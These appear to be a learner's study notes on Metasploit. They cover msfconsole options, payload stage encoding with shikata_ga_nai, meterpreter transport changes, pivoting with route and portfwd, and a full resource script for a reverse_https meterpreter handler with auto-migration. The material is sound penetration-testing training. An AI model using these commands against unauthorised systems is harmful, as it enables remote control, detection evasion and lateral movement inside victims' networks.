* We can use unset command to delete a set variable from show options.
* Generate command can be used inside the msfconsole to generate msfvenom payloads.
* Jobs command can be used to list all running jobs in msfc, kill with the job ID is used to kill the process.
* We can encode the secondstage payload using the advanced option. “set EnableStageEncoding true”
* “set StageEncoder x86/shikata\_ga\_nai” can be used to set advanced option specifying the encoding of the payload.
* set AutoRunScript option can be used to automate some script when a victim connects to metasploit.
* “transport list” can be used to view all the transport option available like http, tcp.
* We can add another transport using “transport add –t reverse\_tcp –l <localIP> -p <localport>”.
* With the handler configured, we can return to the meterpreter session and run transport next to change to the newly-created transport mode. This will create a new session and close down the old one.
* powershell\_execute "$PSVersionTable.PSVersion”, powershell version show.
* route add 192.168.1.0/24 11” can be used to
* “portfwd add -l 3389 -p 3389 -r 192.168.1.110” port forward localport 3389 to remote port 3389 with IP 192.168.1.110

Metasploit Automation

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse\_https

set LHOST 10.11.0.4

set LPORT 443

set EnableStageEncoding true

set StageEncoder x86/shikata\_ga\_nai

set AutoRunScript post/windows/manage/migrate

set ExitOnSession false

exploit -j –z

* Save this to a file script.rc . And run the file using msfconsole –r script.rc